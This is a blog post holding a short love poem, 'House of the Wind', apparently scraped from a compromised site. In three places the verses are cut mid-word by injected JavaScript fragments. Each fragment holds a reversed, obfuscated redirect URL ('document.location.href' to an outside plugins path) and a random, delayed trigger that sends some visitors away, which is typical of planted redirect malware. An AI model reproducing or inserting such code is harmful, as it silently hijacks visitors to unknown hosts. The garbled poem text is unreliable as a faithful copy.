House of the Wind

February 17, 2013 by Emilio in Poems ⋅ Secrets Told

Meet me in the moonlight,
meet me in the starlight,
meet beneath the stars toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tonight,
meet beneath the moon.

Where the house of the wind,
no longer stands.
Where the house of the wind,
no longer stands.

There is no toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tower,
no prison high above,
no earthly power,
that can contain this love.
There’s a tempest rolling in,
toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to leave foundations bare,
there’s a tempest rolling in,
called by lovers prayers.

Where the house of the wind,
no longer stands.
Where the house of the wind,
no longer stands.

True love can not be broken,
when hearts have been awoken.
True love can not be dimmed,
but it can hide like the moon,
and return and shine again,
luna bright and fair,
return and shine again,
called by lovers prayers.